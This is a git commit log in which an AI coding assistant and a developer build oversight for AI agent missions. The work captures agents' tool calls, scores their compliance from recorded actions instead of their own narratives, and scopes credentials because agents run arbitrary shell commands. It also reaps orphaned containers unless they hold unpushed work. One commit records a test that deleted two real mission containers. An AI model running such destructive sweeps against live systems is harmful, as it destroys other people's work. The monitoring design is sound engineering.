Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9
|
||
|
Omar SobhandClaude Opus 5
|
72eda8b3d2 |
docs: handoff reflects the pushed state
22 commits pushed, CI green, deployed. Items 1-3 of the previous list are done: staffing, attribution, and the door. Trigger is measured and red-first turned out observable from run outputs rather than from the diff — the previous list was wrong about that, and the skill says why. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
7525be3791 |
test(orphans): the destructive sweep test is opt-in
CI mounts /var/run/docker.sock into the test container and the runner is gw04 — the host that runs production missions. So `cargo test --workspace` there has full access to the production docker daemon, and this test REMOVES containers. `adopt_existing` protects everything already present, but it cannot protect a mission container created in the seconds between that call and the sweep. On a laptop that race is nothing; on gw04 it is somebody's mission. So the destructive case now requires `CM_TEST_ORPHAN_SWEEP=1` and CI simply does not run it. The read-only probes still run everywhere — they create fixtures and inspect them, and never sweep. This is the second time this test's blast radius has bitten: it reaped two real local mission containers on its first run, and this would have been the same mistake with production's daemon. The sweep is not the problem — a sweep is global by nature — the harness around it is. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
5220f3bfea |
feat(skill-use): red-first is observable from what the RUNS reported
The open item said this needed the repository diff rather than tool
order. That was wrong, and the skill says why: "Commit the RED-to-GREEN
pair as one commit." The failing test and its fix land together by
instruction, so the diff and the commit history are as blind as the tool
ordering already was — in Rust one `Edit` adds the implementation and its
`#[cfg(test)] mod tests` in the same call.
The only remaining witness is what each test run itself printed, and the
tap was throwing it away. Claude Code's PostToolUse payload carries
`tool_response` — verified against the real binary, keys
stdout/stderr/interrupted, plus `duration_ms` and `tool_use_id`.
So `Observed.response` now keeps it, for COMMANDS only: a `Read`'s
response is the file it just read and a `Write`'s restates its own
argument — both already knowable, both large, and storing them would
double the biggest write path in the system for nothing.
`bounded_response` keeps the **end** of the output, which is the opposite
of `bounded_input` and deliberately so. An argument's meaning is its verb,
at the start. A command's meaning is its verdict, at the end: `cargo test`
prints hundreds of lines and then `test result: ok` or `FAILED`. A
head-biased truncation would keep the noise and discard the only thing
being stored for — negative-controlled with a 400-line fixture.
`red_before_green` now falls through to the run outcomes:
failing run, then a passing one → Pass, red then green observed
every run failed → Fail, the loop ends on green
every run passed → NotObservable, and the reason says
why: a test that never failed is
equally what a correct implementation
written first looks like
no outputs recorded → NotObservable (pre-capture missions)
Read from the runner's verdict line, not an exit code — the payload
carries none.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9
|
||
|
Omar SobhandClaude Opus 5
|
b47ae7fa6b |
feat(skill-use): Trigger is observable — score it
The door made retrieval possible; this makes it *measured*. A skill that
arrives by retrieval leaves a recorded tool call, and until now the scorer
ignored it entirely — so the one axis the whole door was built for stayed
`NotObservable` even on a mission where three agents demonstrably reached
through it.
Taken from what run 8 actually recorded, not from the shape I imagined:
ReadMcpResourceTool {"uri":"skill:global/workspace-repo-commit-protocol",
"server":"clawmates_skills"}
`retrieved_skills` reads those URIs through `mcp_skills::parse_uri` — the
function that WROTE them — rather than a second matcher, because two
implementations of one format drift and the drift shows up as a skill
silently scoring nothing.
Trigger is now `Pass` for a skill the agent reached for, and
`NotObservable` for one that was inlined — with a reason that names the
fix rather than the transport: being handed a skill is not failing to
reach for one.
`score` also had to stop reading only the prompt. A skill retrieved and
never inlined is invisible to `skills_in_prompt`, and under progressive
disclosure that is EVERY skill — so the scorer would have reported zero
for the delivery model this axis exists to measure.
Listing the catalogue is browsing; reading a body is the reach. Only
`ReadMcpResourceTool` counts.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9
|
||
|
Omar SobhandClaude Opus 5
|
4b160c5a1b |
test(orphans): prove the sweep against real containers, both directions
`sweep_orphans` force-removes containers and had never run against a daemon — only its pure decision logic was covered. The two Docker-touching seams are exactly the ones worth exercising for real: what it can see, and whether a checkout holds work no remote has. Three fixtures, three outcomes, one sweep: - unpushed commits, no remote ref → SURVIVES - every commit on a remote ref → reaped - inside the grace window → survives anyway Negative-controlled: making `unpushed_commits` return `None` for a dirty checkout fails with "the probe said a checkout with an unpushed commit holds nothing — this is the exact answer that destroys work". Two real hazards the test surfaced, neither of them in the sweep: 1. **The tests raced each other.** The sweep is global — it reaps every orphaned mission container on the daemon, including fixtures another test in this file just started. A `FIXTURES` mutex serialises them. Found the honest way: the reap test deleted the listing test's fixture and the listing test reported a container it could not see. 2. **The test destroyed real local state.** The sweep asks the DATABASE whether a container is known, and `test_pool()` knows nothing — so on a developer machine it classified the live stack's mission containers as orphans and reaped two of them on the first run. `adopt_existing` now gives every pre-existing mission container a row before sweeping, which makes the test safe AND covers the one case the other assertions missed: a container the platform still knows about is never touched. Negative-controlled both ways with a bystander container: without adoption REAPED, with adoption SURVIVED. Skips cleanly with no Docker, so a runner without one reports "not run" rather than failing — the placeholder-as-result shape `scripts/verify-mission-delivery.sh` was written to avoid. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
42e014976d |
docs: confirm the door from inside a mission, and correct a count I took from a transcript
Run 8, all three agents, per-agent attributed: Pedro / Ebele / Ahmad — ListMcpResourcesTool, ReadMcpResourceTool The agent's own report: 53 resources from `clawmates_skills`, and `skill:global/workspace-repo-commit-protocol` read back as `# Mission repo + commit protocol`. So the wiring works end to end, not just the mechanism. And a correction to the commit before this one. It recorded "58 MCP resources" as a measurement. That number was the model's paraphrase in a probe transcript, not an observation. `resources/list` returns 53 and `select count(*) from skills` is 53. Noted in the doc rather than quietly changed, because it is the same error this project keeps making — a model's self-report treated as evidence — and I made it in the very document arguing for measuring things. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
02d5f5a8c9 |
docs: the door is deployed, and what it does not buy
Proven against the real binary in the runtime container — connect, list (58 resources) and read (`# Mission repo + commit protocol`, the correct first heading). That probe is a two-minute loop; I reached for the ten-minute rebuild-and-run-a-mission one first, and it would have found the container-name bug sooner. No `--allowedTools` change was needed. Recorded because the guess would have been wrong in an expensive way: with no config read on the daemon, "adding" the MCP tools meant overwriting the seed's `tools` list and stripping Write and Bash from every mission agent — to solve a problem that does not exist. The §3 claim that this was "config, not code" is corrected in place: it needed a credential narrow enough to leave in a container an untrusted agent reads, and the measured proof that the credential IS narrow (same token: 58 skills from /mcp/skills, 401 from /api/missions). And what it does not buy, stated plainly: Trigger is still unmeasured, because delivery still inlines. The door makes retrieval possible; making Trigger real means switching to progressive disclosure, which could regress Compliance and so wants an A/B rather than a flip. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
3aeee070b8 |
fix(missions): the door read a field that is not set yet
`install_skills_door` took the container name from `mission.runtime_container_name`, and `on_launch` loads the mission at the top — before `ensure_container` runs and binds that field. So it was always `None`, and the early return had no log, so the door simply never installed and said nothing about it. Verified against a live mission: no log line, no file in the container. That is the same shape as the three hook bugs before it, which is a poor excuse for repeating it. The name is derived from the mission id (`container_name`) instead, guarded on `mission_gateway` being Some — which is exactly the signal that `ensure_container` ran and that this mission has its own container rather than the shared runtime. Every remaining early return now logs. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
73f5d71c55 |
feat(missions): install the skills door, with a credential it is safe to leave
The capability has been built and undeployed since `88eef99d4`: `claude_cli` accepts `mcp_config` and passes `--mcp-config --strict-mcp-config`, so Claude Code's own MCP client can reach our skills server. What was missing was the config document and, underneath it, a credential that could be left in a container an untrusted agent reads. Now both halves happen together — the document goes in, and the daemon is told to pass it — because doing one without the other leaves a door installed and unreachable, which looks exactly like a door nobody walked through. That is the same shape as the hooks that shipped installed and inert three bugs running. The API origin defaults to our own `HOSTNAME` rather than a container name. Mission containers share `clawmates_core` with the server, and the server's name differs between deployments (`clawmates-server-1` locally, `clawmates_server_1` on gw-04); docker's embedded DNS resolves a container id on a user-defined network, so this is self-configuring. Measured from a sibling container: both the id and the name return 200. `--allowedTools` is deliberately NOT touched. The provider passes it only when `tools` is set and the seed already sets it — without it `claude -p` stops mid-turn asking for write permission. Whether MCP tools also need naming there is undocumented in anything we control, and the daemon exposes no config read to merge into the list safely; overwriting it would take `Write` and `Bash` from every mission agent, and that failure would look like agents that stopped working rather than a config that was replaced. So the question gets answered by running a mission with the door installed. Guessing is how the last three defects in this file got in. Every failure degrades to "no door", never to a failed launch. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
2668191e30 |
feat(auth): a credential narrow enough to hand to an agent
`docs/TOOL-CALL-ARCHITECTURE.md` §3 calls deploying the MCP door "config, not code". It is not, and the reason is authentication. `/mcp/skills` authenticates with `AuthService::authenticate`, which returns a full `AuthedUser` carrying the user's role. There is no narrower credential in the system. So pointing a mission container at the door means writing a bearer token into a file inside that container — and mission agents run arbitrary `Bash` with egress and no read gate, which is this platform's own documented security posture. An owner-scoped token there turns "the agent runs commands in a sandbox" into "the agent drives the whole ClawMates API as the owner". Checked before building this rather than assumed: no such credential is in a mission container today. The runtime's config.toml has no `[mcp.servers]` block and no bearer, so the door would have been a NEW exposure, not an existing one. So: `auth_sessions.scope`, defaulting to `full`. `authenticate` now delegates to `authenticate_scoped(token, SCOPE_FULL)`, which means **every existing caller rejects a narrow token** and a route must opt in by naming the scope it accepts. `/mcp/skills` is the only opt-in. Fail closed on purpose. The likely mistake here is adding a scope and forgetting to wire its check; this way that mistake grants nothing rather than granting everything. `mint_scoped` refuses to mint a `full` token — a caller reaching for it wants a narrow credential, and handing back a full one because an argument was wrong is exactly the failure the column exists to prevent, and it would be invisible because the token would work. The test that matters is not that the door accepts the token, it is that nothing else does. Negative-controlled: removing the scope comparison fails `a_scoped_token_is_refused_by_every_unscoped_caller`. `.sqlx` regenerated — `authenticate` is a compile-checked query and CI builds with SQLX_OFFLINE=true. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
8591585e60 |
feat(missions): attribute a phase's tool calls to the agent that made them
`record_vm_tools` wrote `agent_id: None` for every call. The container tap is per-CONTAINER and every role in a phase shares one, so a phase arrived as one undifferentiated stream: every Skill-Use score was per-mission rather than per-role, and the World's per-agent view got nothing from this tier. One `claude -p` invocation is one turn is one agent, and Claude Code stamps each invocation with a `session_id` the tap was discarding. So the distinct sessions, in order of first appearance, are the phase's turns in the order they ran — and `prompt.composed` already records the agent of each turn in that same order, written by the tier as it sends each turn, so it IS the running order rather than a reconstruction of it. **It attributes nothing rather than guessing.** Only when the counts match exactly. A phase whose sessions and turns differ has something this correlation does not model — a retry, a turn that called no tool, two genuinely concurrent agents — and a plausible-looking wrong attribution is worse than none here: it puts one agent's `git push` on another agent's record, and a person later reasons from that. One call missing a session id refuses the whole batch, because a hole shifts every later session onto the wrong turn. The microVM call sites pass no turn agents and so keep today's behaviour exactly. Resolving a graph node to an agent uuid is the fix there, it cannot be tested while the fleet is offline, and guessing would put one node's actions on another node's record. Also restores the `#[cfg(test)]` gate on `repo_less_text_tests`, which my own insertion had taken — those tests would have compiled into release builds. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
3f26dfeaca |
docs: suite is 796 tests across 107 binaries after this pass
Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
19c4de36e4 |
docs: the staffing fix, measured
Run 5 is run 3's task against the new staffing: 5 roles → 3, 14 skill deliveries → 4, 50KB of prompt → 24KB, and 1 of 9 delivered skills applicable → 4 of 4. The agents produced exactly the structure the new team's task specifies — questions.md, evidence.md, REPORT.md — with zero writes outside /mission/repo. The baseline says plainly that the SCORES barely moved, because they did: run 5 is one `pass` and three `not_applicable`. What changed is what `not_applicable` means — "no machine-checkable consequence" rather than "this skill had nothing to do with this phase". Halving the prompt is real but incidental. The finding is that the denominator was wrong: seven of run 3's nine skills were never applicable, so any ratio over them measured staffing, not skill use. Handoff item 1 is closed and the orphan-container section now records what was actually in it. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
6af1149e45 |
feat(missions): reap orphaned runtime containers — unless they hold work
`sweep_once` selects `FROM missions`, and `teardown_container` is only ever called with an id from that query. So a container whose row is gone is invisible to every reaper: nothing enumerates docker, nothing errors, and the only symptom is disk. Found on gw-04 today — `cm-runtime-mission-019ff5b1…`, Up nine days, 2.5G, against a `missions` table with zero rows. `list_mission_containers` is the piece that never existed: without it "which containers exist" is a question the platform cannot ask, and a container the database has forgotten is not merely unreaped, it is unseeable. **The sweep refuses to reap work that exists nowhere else.** That container's checkout held ten commits on a branch that had never been pushed — +3451/-30 across 30 files, eighteen INT items including AES-256-GCM, Ed25519 signing and HNSW batch insert. A reaper that deleted on sight would have destroyed all of it silently, as its designed behaviour. `unpushed_commits` asks the checkout (`git rev-list --all --not --remotes`) and leaves the container alone, loudly, every tick, when the answer is not zero. Every failure path returns `SomeOrUnknown`: a container we cannot question is not a container we may delete. Same for one docker will not date — including a future `Created` from clock skew, which would otherwise underflow into an age past any grace period. Grace is 24h, long on purpose. The row-driven sweep already handles everything the platform knows about, so anything reaching this path is already unexpected. The container above was handled by hand first: bundled, verified, branch pushed to git.redclaw.dev, confirmed on the remote at the branch tip, then removed. 59G free, up from 57G. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
ceec0423ad |
feat(teams): staff research phases with a research team
`research_only` is repo-less, one research phase, "produce a markdown
artifact" — and it defaulted to `rust_sdlc`. So it was staffed with a
planner, a coder, a tester, a reviewer and a committer, four of whom had
nothing to do, each carrying the code-and-commit skills its role is bound
to. Measured 2026-08-21: 9 distinct skills across 5 role prompts, ~50KB,
one applicable. That is what "most skills score not_applicable" in the
Skill-Use baseline has been measuring all along — the skills were
correctly bound to their roles; the roles were wrong for the workflow.
None of the three existing research templates fit, so this adds
`topic_research`: frame the brief into answerable questions, gather
evidence with the URL and the quoted passage, check every claim against
its source, write the report. Three roles, four skills, each checked
against its own `when_to_use` before binding — and two obvious candidates
deliberately NOT bound, because `executive-summary-writing` tells the
writer to discard any item not tied to a named project and
`signal-to-noise-ranking` scores relevance the same way. On a standalone
topic report that discards the deliverable.
`default_phase_teams` lets a recipe staff each phase PURPOSE separately,
resolved into `config.phase_teams` at create. A multi-phase recipe does
not have one job: `research_and_code`'s research phase spends a paragraph
of `task` telling its team not to change source files, because
`rust_sdlc` gave that phase a coder and a committer and they did what
coders do — mission 01a00c57 shipped both INT items during RESEARCH and
the coding phase then delivered +0/-0. Prose was the only lever
available; staffing is the actual one.
Also fixed in the three existing research templates, all verified rather
than inferred:
- `papers_research` bound `arxiv-daily` to its DOMAIN SCOUT. That
skill's entire content is "Do not search arXiv yourself — the harvest
already ran", and its `when_to_use` names Continuous Research
missions, which are the only ones the platform writes a harvest
manifest for. The role whose job is searching was bound a skill
forbidding it.
- Its PAPER READER was told to "fetch the PDF, extract text". The
runtime image has no pdftotext, no mutool and no pypdf — checked in
the container. Every paper would have hit the `[read: abstract only]`
fallback, which reads identically to the fallback working as designed.
- `insight_research` cross-referenced "our repos'" history. A mission
binds ONE repo (`missions.repo_id`).
- `codebase_research` wrote to "the Obsidian vault"; no vault is
mounted, and both it and `papers_research` were committing in "PRs",
which the platform does not open.
And `research_only` itself had neither `task` nor `done_when` — the same
defect `benchmark`, `security_hardening` and `research_and_code` were each
fixed for, and it was left out. A phase with no `done_when` is never
judged. It also still asked for `pdf`, a format nothing generates.
Two new guards, both negative-controlled: every team a recipe names must
exist (a typo currently only logs, and the mission is staffed by the
fallback crew looking deliberate), and every `default_phase_teams` key
must be a purpose `purposes_for` actually emits.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9
|
||
|
Omar SobhandClaude Opus 5
|
4f4ce34203 |
fix(teams): the wrong repo path was in the TEAM templates too
The `/workspace/repo` guard was written on 2026-08-19 against `skills/`
only. The same wrong path had been sitting in four team templates the
whole time, and nothing looked.
`rust_sdlc` is the default team for five of the six workflow recipes. Its
CODER was told "your working directory is /workspace/repo. All edits
happen there." Its COMMITTER was told to `cd /workspace/repo`. The
platform mounts /mission/repo — `stamp_workspace_paths` pins it there.
Same for the frontend, three.js and mobile coders.
The guards now walk ONE corpus — skills, team templates and workflow
recipes together — because the rule is a property of what an agent is
TOLD, not of which file it was written in. A guard covering one corpus
and not the other reads exactly like a guard covering the problem.
Negative-controlled: widening it failed on all four templates before they
were fixed.
Two more defects in the same committer prompt, both found by reading it:
- `git push` unconditionally, while the `workspace-repo-commit-protocol`
skill bound to that same role says push only when the task says to,
because most missions deliver by diffing the checkout. The role prompt
and its own skill contradicted each other in one prompt.
- `git commit -m "<INT-NN> <title>\n\n<rationale>"` — inside a
double-quoted shell string `\n` is a literal backslash-n, so the
"paragraph" was never on its own line.
And the committer now says what advances the mission loop: the marker in
the turn output, not the id in the commit subject.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9
|
||
|
Omar SobhandClaude Opus 5
|
6f2b0a8f43 |
docs: record the verified suite numbers in the handoff
107 test binaries, 792 tests, zero failures across the workspace — run, not estimated from the cm-api figure. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
9560aaec41 |
test(skill-use): the coding run, and the parsing bug it found
Run 4 (`research_and_code`, real repo) is the first mission that could
have violated the TDD and commit checks. It exercised both, and found a
bug in one.
Claude Code writes a multi-line commit message as a heredoc inside a
command substitution:
git commit -m "$(cat <<'EOF'
INT-01 Add slugify function to src/lib.rs
…
EOF
)"
`commit_subjects` read the first line of the `-m` value, which is the
heredoc OPENER. Every commit check was scoring `$(cat <<'EOF'` — a string
the agent never wrote. It reported no violation only because that string
is not one of the never-merge messages, which is luck rather than a check.
Regression test built from the exact command in `mission_events`.
The TDD verdict came back `not_observable`, which is the honest answer and
also a real limit worth stating: the agents edited `src/lib.rs` once —
implementation and `#[cfg(test)] mod tests` in the same write — then ran
`cargo test` five times. In Rust the unit test lives in the file under
test, so that ordering is exactly what following the skill precisely looks
like from outside. The check detects "wrote source, never ran a test" and
cannot confirm red-first. Confirming it needs the diff, not the tool order.
Every one of run 4's 33 tool calls stayed inside /mission/repo.
Handoff and baseline updated: production has never run a mission (both
tables empty), a mission container has leaked since 2026-08-12 that no
reaper can see, and `research_only` staffs a five-role Rust SDLC crew on a
repo-less markdown mission — which is what "most skills score
not_applicable" has been measuring all along.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9
|
||
|
Omar SobhandClaude Opus 5
|
c209e654d9 |
fix(skill-use): a research phase writing markdown is not a TDD failure
The first live scoring of run 3 reported `cargo-test-driven-development` and `tdd-red-green-refactor` as compliance=FAIL: files were written and no test ever ran. Wrong, and wrong in the way this module exists to prevent. The phase wrote fifteen markdown notes and a helper script; there was no code to test-drive. Reporting it as an agent failure is a system defect wearing an agent's name — and it would have buried the actual finding, which is that a repo-less `research_only` mission is staffed with a Rust SDLC crew whose coder, tester, reviewer and committer have nothing to do. The check is now scoped to files with a source extension in the languages the skill itself names. Shell is deliberately excluded: a helper script written during a research turn is not behaviour-adding code, and the false failure costs more than the missed one. Recorded in SKILL-USE-BASELINE.md as finding 8 rather than quietly corrected. A measurement that hides its own false positives cannot be trusted about anyone else's. Also in the doc: the Trigger reason is half false now (the transport can surface a tool call; we simply still inline), and the architecture doc's observe/gate table said the container tier was ungated and unobserved, which shipped work has made wrong. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
4a6d0dfe01 |
test(skill-use): keep the harness that runs the measurement
The first baseline was produced by a throwaway script that no longer exists, so the second measurement could not be run the same way as the first — which is most of what makes two numbers comparable. Local stack only, because production auth is Clerk and a mission cannot be launched from a terminal there. `--score <id>` re-scores a finished run without spending another one, and every run is held for 90 days so it stays re-scorable when the scorer changes again. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
d0b657a24b |
fix(skills): two more skills that contradicted the platform
Same class as the `/workspace/repo` path and the ZeroClaw tool names: the skills were written alongside the platform and never compared to it again. Both found by reading the source of truth before writing a check against it. 1. `decompose-int-items` showed `PLAN_COMPLETE: INT-01..05`. An id is strictly `INT-<digits>`, so the range form is rejected outright — the plan pass records nothing while every item stays open. A live planner emitted exactly that line. Now one id per line. 2. `workspace-repo-commit-protocol` said the task-card parser advances mission state on the INT id in the commit subject. Nothing in the platform reads commit messages; the parser reads `run_events` — the agent's turn output. An agent that believed it could commit with the id and never emit `COMPLETED: INT-NN`, leaving the mission open on an item it had finished. The convention is kept, the mechanism corrected. `no_skill_shows_a_marker_the_parser_would_reject` runs the real parser over every marker in every skill's fenced blocks, negative-controlled against the range form. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
1a6fdfc0e6 |
feat(skill-use): score Compliance and Boundary from actions, not narrative
The scorer read the concatenated `reasoning` text — the agent's own account of its turn, written by the thing being measured and silent about anything it did not think worth mentioning. `Evidence` now carries the recorded tool calls alongside that text and every check prefers them. What that changes, concretely: - `workspace-repo-commit-protocol` Boundary was a substring search for `/workspace/repo` in the narrative. An agent that wrote to the wrong root without narrating it scored a clean pass. It now reads the `Write` and `Edit` paths, and gained the skill's other hard prohibition — force-push — which leaves no trace anywhere else once it succeeds. - `arxiv-daily` Boundary reads the `curl` that ran rather than a URL in prose, which may be the agent explaining that it did NOT fetch it. - `tdd-red-green-refactor` and `cargo-test-driven-development` gain their first Compliance check: files written with no test command anywhere cannot have been red-green under any reading of the loop. - `small-focused-commits` gains a Boundary check on the exact subjects the skill names as never-merge, read out of `git commit -m`. Two verdicts changed for honesty rather than coverage. Silence used to score `Pass`: a mission with no evidence scored identically to one checked and found clean. It is now `NotObservable`. And a test that ran AFTER the first write is `NotObservable`, not a failure — a Rust unit test lives in the file under test, so that ordering is what following the skill most precisely looks like from here. Every tool-backed check is one-sided: it reports a violation it can see and never infers compliance from silence, because the recorded stream is capped per phase. The negative controls earned their keep — they caught `-f` inside a commit message scoring as a force-push, and `git commit -am` yielding no subject at all. Trigger stays `NotObservable`, and half its stated reason is now wrong. "`claude_cli` cannot surface a tool call" is false; we simply still inline. The blocker moved from the transport to the delivery model, and the module says so. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
8cb38d1320 |
feat(missions): keep the tool's arguments, not just its name
The container tier's first measured mission recorded `Bash × 6` and not one of them said what it ran. Every behavioural question about the phase — did it run the tests, did it commit, did it call an API a skill forbids — was unanswerable from a record that looked complete. `vm_tool_tap::parse` already read `tool_input` to pull the path out of it, then dropped the rest on the floor. It now keeps it, bounded: file bodies (`content`, `new_string`, `old_string`, `edits`) become a byte count, and any other over-long string is truncated with a marker saying so. Bounded rather than whitelisted, because a whitelist silently loses the one argument that matters the first time a tool grows a field. `file.touch` keeps the absolute path in `detail.abs` alongside the repo-relative `target`. Normalising is what the map needs and exactly what destroys "did this write land outside the checkout". `tool.call` also gains `detail.path`, which the World's SSE has been reading and getting a null from on every container-tier call. `mission_events::tool_evidence_for_mission` is the reader — the counterpart to `narrative_for_mission`, and the reason it exists: the narrative is what an agent SAID it did. Host-side only. No image rebuild: the arguments were always in the tap file, the first parse threw them away. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
Omar SobhandClaude Opus 5
|
0b4d91889a |
docs: hand-off refresh — container-tier work shipped, stale guidance corrected
TOOL-CALL-ARCHITECTURE.md said "switch claude_cli to stream-json" as the cheapest fix. That was wrong and is now marked so, with what actually happened: zero tool.call events with the parser working perfectly, because TurnEvent::ToolCall only fires for tools ZeroClaw itself executes. Hooks sidestep that entirely, and the doc now leads with the resolution rather than the theory. A fresh session is pointed at this file, so leaving the wrong recommendation on top would have sent it down the same path. NEXT-SESSION.md: state header, and the ordered list rewritten — items 1-3 are done or superseded. "Give the direct-session tier a tap" is dropped with its reason: that tier is dormant (CLAWMATES_MISSION_EXECUTOR unset), and checking before building saved the work. New top item is watching the first production mission, since the gate and tap are proven locally and unproven in prod. Added an operational section for the things that cost the most time: the 403 actions-log API, gw-04's legacy docker-compose, the socket proxy, disk contention between manual builds and CI, and Clerk-only prod auth. Also flagged that SKILL-USE-BASELINE.md's Trigger column is now stale in a good way — tool calls are observable on the container tier, so Trigger can be scored from behaviour instead of prose. That is the highest-value follow-up. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
5a11fae0d6 |
docs: container-tier gate and telemetry shipped; CI failures were disk
Records the verified result (10 tool.call, 4 file.touch on a real mission), how hooks succeed where stream-json could not, the production state and its rollback, and the three same-shaped bugs the live test found. Also records that CI's build failures were disk pressure from my own manual runtime builds on gw-04 — not code — and that a docs-only commit was the first casualty, which made it look like a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
f6e6037aa0 |
ci: make the build job readable too, and reclaim the disk that broke it
Four runs failed at `build` with nothing readable — the actions-log API returns 403 for our token, so "failure" was the whole message. The first casualty was a DOCS-ONLY commit, which made it look like a code regression and cost a cycle chasing one. It was disk. I had been building runtime images on gw-04 while CI ran on the same host; the frontend image build lost the race. Reproduced afterwards with space free and it builds clean, and `docker builder prune` reclaimed 34GB (22G free → 57G). The build job now writes its breadcrumb and a `df -h` snapshot to /tmp/ci-logs on the runner host, and records which services actually got pushed. That last one matters: the failing runs had built and pushed `server` and then aborted on `frontend`, so the registry held a partial set and `:latest` never moved — which presented as "the deploy did not happen" three steps later, nowhere near the cause. Operational note for the next person, me included: building images by hand on gw-04 competes with CI for disk on the same 150G volume. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e84413d437 |
fix(missions): the container tier now records its tool calls — verified live
Ran it end to end on a real mission. First time the container tier has ever
been observable:
tool.call 10 Bash 6, Read 3, Write 1
file.touch 4 research/tapproof.md
reasoning 5
prompt.composed 5
Three defects found by running it, each of which left every other link
looking correct:
1. The settings document pointed PostToolUse at {TAP_DIR}/tap.sh while the
installer wrote {HOOK_DIR}/tap.sh. Claude Code does not complain about a
hook command that does not exist — it records nothing. Asserting the
script "mentions tap.sh" had passed; the PATHS have to be compared, and
a test now does that for every hook the document names.
2. The mission container runs CLAWMATES_RUNTIME_IMAGE, not the shared
runtime container I had swapped. It was still on an image whose daemon
schema has no `settings` field, so set_claude_cli_settings returned
404 path_not_found — which the error message said plainly, and which is
the only reason this was quick to spot.
3. The sweep used connect_with_local_defaults(). The server reaches Docker
through a socket proxy (DOCKER_HOST), so that connector fails there — and
my code returned Ok(()) on the error, silently. The tap filled up, the
query matched rows, and nothing ran. Now uses container_exec::connect and
logs the failure; a test pins the choice.
All three are the same shape as the bug they were chasing: installed,
inert, indistinguishable from working. The tests added for each compare the
two ends rather than asserting a string appears somewhere.
Full workspace suite green: 107 binaries, 412 lib tests.
Co-Authored-By: Claude Opus 5 <[email protected]>
|